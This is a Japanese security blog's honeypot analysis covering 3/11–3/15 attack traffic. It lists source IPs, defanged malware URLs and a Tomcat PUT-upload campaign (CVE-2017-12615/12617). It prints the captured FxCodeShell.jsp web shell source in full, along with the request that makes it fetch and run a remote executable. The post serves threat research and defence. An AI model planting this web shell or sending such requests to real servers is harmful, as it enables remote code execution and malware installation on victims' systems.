sec-chick Blog

サイバーセキュリティブログ

【ハニーポット簡易分析】Honeytrap簡易分析(210-214日目:3/11-3/15)

Honeytrap簡易分析(210-214日目:3/11-3/15)の簡易分析となります。

Honeytrap簡易分析(210-214日目:3/11-3/15)
f:id:one-chick-sec:20190316173745p:plain

◾️検知数について
3/11に検知数が増加していますが、連日来ているいつものIPでした。
一応、3/12以降は来ていないので一旦は落ち着いたのかもしれません。

ペイロード
...*%......Cookie: mstshash=Test..........
※ポート番号はランダム

<送信元IP>

送信元IP 件数
195[.]19[.]10[.]135 80,801
62[.]76[.]75[.]210 80,800
195[.]19[.]10[.]195 80,794


◾️新規マルウェアダウンロード

ポート マルウェアダウンロード先 VT
88 hxxp://157[.]230[.]168[.]17/sh

VirusTotal

8080 hxxp://159[.]89[.]182[.]124/ankit/jno[.]mpsl

VirusTotal

52869 hxxp://185[.]244[.]25[.]108/bins/Solstice[.]mips
※Mirai亜種

VirusTotal


◾️Webシェル 「FxCodeShell.jsp
今回ですが、Webシェルである「FxCodeShell.jsp」を設置しようとしている通信を多数検知していました。PUTコマンドで「FxCodeShell.js」を設置し、GETコマンドでマルウェアのダウンロードを試みようとしているものでした。

GET /FxCodeShell.jsp?view=FxxkMyLie1836710Aa&os=1&address=hxxp://fid[.]hognoob[.]se/download.exe

リクエストコマンドを確認すると viewの値にパスワードを入れ、osを指定(os=1はWINDOWS)、address部分にマルウェアのダウンロード先URLを入れることで任意のファイルを実行しているように見られます。
今回、ダウンロードされるマルウェア

www.virustotal.com


今回のjspファイルのアップロードですが、CVE-2017-12615,CVE-2017-12617の脆弱性により対象のApache Tomcatは任意のJSPファイルをアップロードされリモートでコードが実行可能なので、注意が必要です。

www.hack.vet


Apache Tomcat 7.0.81 未満のバージョンが対象となると思われるため、該当しているTomcatを利用しているサーバが注意が必要です。
また、以下の条件が攻撃成功に必要となるので、以下も確認すると良いと思います。

Apache Tomcat の readonly パラメータを false に設定し、HTTP PUT メソッドになっていること

www.jpcert.or.jp



<参考:FxCodeShell.jspソースコード>
PUT /FxCodeShell.jsp%20
HTTP/1.1
Accept-Language: zh-cn..Referer: hxxp://xxx.xxx.xxx.xxx:81/FxCodeShell.jsp%20
User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1)
Content-Length: 3363
Host: xxx.xxx.xxx.xxx:81
<%@ page import="java.util.Arrays"%>
<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>
<%@ page import="java.io.*,java.util.*,java.net.URL,java.net.HttpURLConnection"%>
<% String view = request.getParameter("view");
if (view == null || view.equals("")) {
String localOS = System.getProperty("os.name");
List<String> osList;
String tomcatOS = "0";
String DEFAULT = "0";
String WINDOWS = "1";
String LINUX = "2";
osList = new ArrayList<String>();
osList.add("Linux");
osList.add("Windows");
for (String os : osList) {
if (localOS.contains(os)) {
if (os.equals("Linux")) {
tomcatOS = LINUX;} else if (os.equals("Windows")) {
tomcatOS = WINDOWS;} else {
tomcatOS = DEFAULT;
} break;
}
}
out.write(tomcatOS + "<br/>");
response.setHeader("OS", tomcatOS);
return; } %> <% String password = "FxxkMyLie1836710Aa";
if (!view.equals(password)) { return; } int systemCode = Integer.parseInt(request.getParameter("os")); String address = request.getParameter("address");
String fileName = null;
String path = null;
String winPath = "C:/Windows/Temp/";
String linuxPath = "/var/tmp/";
switch (systemCode) {case 1:path = winPath;.break; default: path = linuxPath; break; } String urls = address.split(",");
InputStream fileInputSteam = null; FileOutputStream fileOutputStream = null;
for (int i = 0; i <= urls.length - 1; i++) {
try {
String
file = urls[i].split("/");
fileName = file[file.length - 1];
out.write("Download:" + urls[i] + "<br>");
out.write("<br>filename:" + fileName + "<br>");
out.write("<br>Size:" + urls.length + "<br>");
out.write"-------------------------------------------------------------------------------------------------------"+
"<br><br>");.....File isfile = new File(path + fileName);
if (isfile.isFile()) {
try {
Runtime exec = Runtime.getRuntime(); if (systemCode == 1) {
exec.exec(path + fileName); } else { String chmod = "chmod 777 " + path + fileName;
exec.exec(chmod);........exec.exec("nohup " + path + fileName + " > /dev/null 2>&1 &");
}
} catch (Exception e1) {
e1.printStackTrace();
}
continue;}
URL downloadUrl = new URL(urls[i]);
HttpURLConnection conn = (HttpURLConnection) downloadUrl.openConnection();
conn.setConnectTimeout(60000 * 3);
conn.setReadTimeout(60000 * 3);
fileInputSteam = conn.getInputStream();
fileOutputStream = new FileOutputStream(path + fileName);
int length = -1;
byte[] b = new byte[409600];
while *1 != -1) {
fileOutputStream.write(b, 0, length);
fileOutputStream.flush();
}
if (conn != null) {
conn.disconnect();
} if (fileInputSteam != null) {
.fileInputSteam.close();
} if (fileOutputStream != null) {
fileOutputStream.close();
}
.Runtime exec = Runtime.getRuntime();
if (systemCode == 1) {
exec.exec(path + fileName);
} else {
String chmod = "chmod 777 " + path + fileName;
.exec.exec(chmod);
exec.exec("nohup " + path + fileName + " > /dev/null 2>&1 &");
}
} catch (Exception e2) {
e2.printStackTrace();
}
} %>

*1:length = fileInputSteam.read(b